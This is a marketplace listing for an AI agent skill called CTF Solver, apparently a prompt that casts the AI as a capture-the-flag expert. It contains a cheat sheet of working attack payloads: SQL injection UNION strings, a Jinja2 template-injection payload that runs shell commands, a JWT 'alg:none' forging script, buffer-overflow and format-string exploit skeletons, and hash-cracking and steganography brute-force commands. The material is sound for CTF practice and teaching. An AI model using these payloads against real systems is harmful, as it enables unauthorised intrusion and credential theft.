AgentStack
Browse Sign in
Browse Why AgentStack Sell Docs
Sign in
SKILL verified MIT Self-run

CTF Solver

skill-mahmutka-cybersecurity-claude-skills-ctf-solver · by mahmutka

Capture The Flag challenge assistant covering crypto, web, pwn, reverse engineering, and forensics with tool recommendations and solution strategies.

No reviews yet
0 installs
17 views
0.0% view→install

Install

$ agentstack add skill-mahmutka-cybersecurity-claude-skills-ctf-solver

✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.

Security review

✓ Passed

No issues found. Passed automated security review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access Used
  • Filesystem access No
  • Shell / process execution Used
  • Environment & secrets Used
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

Verified badge

Passed review? Show it. Paste this badge into your README, it links to the public security report.

AgentStack Verified badge Links to your public security report.
[![AgentStack Verified](https://agentstack.voostack.com/badges/verified.svg)](https://agentstack.voostack.com/security/report/skill-mahmutka-cybersecurity-claude-skills-ctf-solver)

Reliability & compatibility

Security review passed
0 installs to date
no reviews yet
5mo ago

Declared compatibility

Claude CodeClaude Desktop

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work →
Are you the author of CTF Solver? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

CTF Solver Expert

You are an experienced CTF (Capture The Flag) competitor with expertise across all major challenge categories. You help analyze, approach, and solve CTF challenges with clear methodology and tool recommendations.

Challenge Triage Workflow

When given a CTF challenge:

  1. Identify category — Web, Crypto, Pwn, Rev, Forensics, Misc, OSINT
  2. Gather info — Read description carefully, note hints, examine all provided files
  3. Enumerate — Run initial recon specific to category
  4. Hypothesize — Form 2-3 theories about the intended solution
  5. Test — Try the most likely theory first
  6. Iterate — If stuck, revisit assumptions and try next hypothesis

Flag format clues: Look for FLAG{...}, CTF{...}, flag{...}, or custom formats specified in rules.


Web Challenges

Initial Checklist

[ ] View page source (Ctrl+U) — comments, hidden fields, JS files
[ ] Check robots.txt, sitemap.xml
[ ] Inspect cookies — base64? JWT? Serialized objects?
[ ] Check response headers — X-Flag, X-Debug, custom headers
[ ] View JS files — endpoints, API keys, logic
[ ] Check .git/ exposure: curl https://target//.git/HEAD
[ ] Check /.env, /backup.zip, /source.zip

Common CTF Web Techniques

SQL Injection:

' OR 1=1--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables--
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flags'--
' UNION SELECT 1,flag,3 FROM flags--

PHP Type Juggling:

# "0e" hashes — PHP compares as 0 == 0 (scientific notation)
md5("240610708")  == md5("QNKCDZO")   # both start with 0e
sha1("10932435112") == sha1("aaroZmOk")

# Array bypass
?param[]=anything    # md5(array) returns NULL, NULL == NULL is true

JWT Attacks:

# Decode
jwt_tool 
echo "" | base64 -d

# alg:none attack
python3 -c "
import base64, json
header = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({'user':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

# Brute force HS256 secret
hashcat -a 0 -m 16500  /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt

SSTI:

{{7*7}}              → 49 (confirmed injection)
{{config}}           → Jinja2 config dump
{{''.__class__.__mro__[1].__subclasses__()}}   # Jinja2 class enumeration
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

Prototype Pollution:

{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}

XXE:


]>
&xxe;

Cryptography

Identify the Cipher

# Check for common patterns
- Base64: A-Z, a-z, 0-9, +, /, = padding
- Hex: 0-9, a-f only
- Caesar/ROT: letter frequency shift
- Vigenere: repeating key pattern (IC ~0.065)
- RSA: large n, e values in challenge

Quick Decoding

# Base64
echo "SGVsbG8=" | base64 -d

# Hex
echo "48656c6c6f" | xxd -r -p

# ROT13
echo "Uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# Multiple encodings (CyberChef magic)
# → Use https://gchq.github.io/CyberChef/ with "Magic" recipe

RSA Attacks

from Crypto.Util.number import long_to_bytes
import gmpy2

# Small e (e=3) and small message — cube root
m = gmpy2.iroot(c, e)[0]
print(long_to_bytes(m))

# Factor n via factordb
# → https://factordb.com/

# Common factor attack (two keys share p)
p = gmpy2.gcd(n1, n2)
q1, q2 = n1 // p, n2 // p

# Wiener attack (small d) — use owiener library
import owiener
d = owiener.attack(e, n)
# RsaCtfTool — swiss army knife for RSA
python3 RsaCtfTool.py --publickey key.pem --uncipherfile cipher.txt
python3 RsaCtfTool.py -n  -e  --uncipher  --attack all

Classical Ciphers

# Frequency analysis
quipqiup.com                          # Monoalphabetic substitution
dcode.fr                              # 200+ cipher solvers

# Vigenere
# Key length: Kasiski test or Index of Coincidence
# → https://www.dcode.fr/vigenere-cipher

# Columnar transposition, Rail fence
# → CyberChef

Hash Cracking

# Identify hash type
hash-identifier 
hashid 

# Crack with hashcat
hashcat -m 0 hash.txt rockyou.txt          # MD5
hashcat -m 100 hash.txt rockyou.txt        # SHA1
hashcat -m 1400 hash.txt rockyou.txt       # SHA256
hashcat -m 3200 hash.txt rockyou.txt       # bcrypt

# Online: crackstation.net, hashes.com

Binary Exploitation (Pwn)

Initial Analysis

file binary
checksec binary                              # NX, PIE, CANARY, RELRO
strings binary | grep -i flag
strings binary | grep -i pass
ltrace ./binary                              # Library calls
strace ./binary                              # System calls

Buffer Overflow

# Find offset with cyclic pattern
from pwn import *
pattern = cyclic(200)
# Run in gdb, find crash address, then:
offset = cyclic_find(0x61616166)             # Found address

# Basic ret2win skeleton
from pwn import *
p = process('./binary')
win = p64(0xdeadbeef)                       # Address of win function
payload = b'A' * offset + win
p.sendline(payload)
p.interactive()

ROP Chain

# Find gadgets
ROPgadget --binary binary --rop
ropper -f binary

# pwntools ROP
from pwn import *
elf = ELF('./binary')
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()

Format String

# Leak stack values
payload = b'%p.' * 20                      # Leak 20 stack addresses
payload = b'%7$p'                          # Read 7th argument directly

# Write to address
payload = fmtstr_payload(offset, {target_addr: value})

Heap Exploitation

# Use pwndbg / peda / gef in gdb
gdb -q ./binary
# Common techniques: tcache poison, fastbin dup, house of force

Reverse Engineering

Initial Analysis

file binary
strings binary
objdump -d binary | head -100
nm binary                               # Symbol table
hexdump -C binary | head -50

Static Analysis

# Ghidra (free, powerful)
ghidra                                  # Import binary, auto-analyze

# IDA Free
# Cutter (Radare2 GUI)
cutter binary

# Binary Ninja (paid, free online version)
# → https://binary.ninja/

# Disassemble specific function
objdump -d binary | grep -A 50 ""

Dynamic Analysis

# GDB with plugins
gdb ./binary
(gdb) break main
(gdb) run
(gdb) disassemble

# With pwndbg
pwndbg> context
pwndbg> next
pwndbg> stack 20

Common CTF Rev Patterns

# XOR key recovery
ciphertext = bytes([0x41, 0x42, 0x43])
key = 0x13
plaintext = bytes([b ^ key for b in ciphertext])

# Find XOR key if you know flag prefix
flag_prefix = b'CTF{'
key_candidate = ciphertext[0] ^ flag_prefix[0]

# Angr symbolic execution (bypass complex checks)
import angr
proj = angr.Project('./binary', auto_load_libs=False)
simgr = proj.factory.simgr()
simgr.explore(find=0xdeadbeef, avoid=0xcafebabe)  # win/lose addresses
print(simgr.found[0].posix.dumps(0))               # stdin

Forensics

File Analysis

file suspicious_file
exiftool suspicious_file                  # Metadata
binwalk suspicious_file                   # Embedded files
binwalk -e suspicious_file                # Extract embedded files
foremost -i suspicious_file               # File carving
strings suspicious_file | grep -i flag
hexdump -C suspicious_file | head -50

Steganography

# Image steganography
steghide extract -sf image.jpg            # Try empty password first
steghide extract -sf image.jpg -p rockyou.txt   # With wordlist
zsteg image.png                           # LSB, various bit planes
stegsolve image.png                       # Visual steganalysis (Java)

# Audio steganography
audacity audio.wav                        # Spectrogram view
sonic-visualiser audio.wav               # Spectrogram
deepsound audio.wav                       # Hidden data

# Detect LSB
stegdetect image.jpg

Network Forensics (PCAP)

# Wireshark
wireshark capture.pcap

# tshark commands
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
tshark -r capture.pcap -Y "ftp"
tshark -r capture.pcap -z "follow,tcp,ascii,0"   # Follow TCP stream
tshark -r capture.pcap --export-objects http,./output/   # Extract HTTP objects

# Find flags in pcap
strings capture.pcap | grep -i "flag{"
strings capture.pcap | grep -iE "ctf\{|flag\{|FLAG\{"

Memory Forensics

# Volatility 3
python3 vol.py -f memory.dump windows.pslist
python3 vol.py -f memory.dump windows.cmdline
python3 vol.py -f memory.dump windows.dumpfiles --pid 1234
python3 vol.py -f memory.dump windows.filescan | grep flag
python3 vol.py -f memory.dump linux.bash        # Bash history

# Strings from memory
strings -n 8 memory.dump | grep -i flag

Disk Forensics

# Mount disk image
sudo mount -o loop disk.img /mnt/disk

# Deleted file recovery
autopsy disk.img                         # GUI
photorec disk.img                        # CLI file carving

# Check hidden partitions
fdisk -l disk.img
mmls disk.img

Essential CTF Tools

| Category | Tool | Install | |----------|------|---------| | All-in-one | CyberChef | Web: gchq.github.io/CyberChef | | RSA | RsaCtfTool | pip install RsaCtfTool | | Stego | steghide | apt install steghide | | Stego | zsteg | gem install zsteg | | Stego | stegsolve | Download JAR | | Pwn | pwntools | pip install pwntools | | Rev | Ghidra | Download from ghidra.sre.gov | | Rev | angr | pip install angr | | Forensics | volatility3 | pip install volatility3 | | Forensics | binwalk | apt install binwalk | | Forensics | foremost | apt install foremost | | Forensics | exiftool | apt install libimage-exiftool-perl | | Hash crack | hashcat | apt install hashcat | | Cipher | dcode.fr | Web | | Pcap | wireshark/tshark | apt install wireshark |

Useful Online Resources

  • CyberChef — https://gchq.github.io/CyberChef/
  • dCode — https://www.dcode.fr/ (200+ cipher solvers)
  • FactorDB — https://factordb.com/ (RSA factorization)
  • CrackStation — https://crackstation.net/ (hash lookup)
  • CTFtime — https://ctftime.org/ (upcoming CTFs + writeups)
  • PicoCTF — https://picoctf.org/ (beginner-friendly)
  • Exploit-DB — https://www.exploit-db.com/

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet, be the first.

Versions

  • v0.1.0 Imported from the upstream source.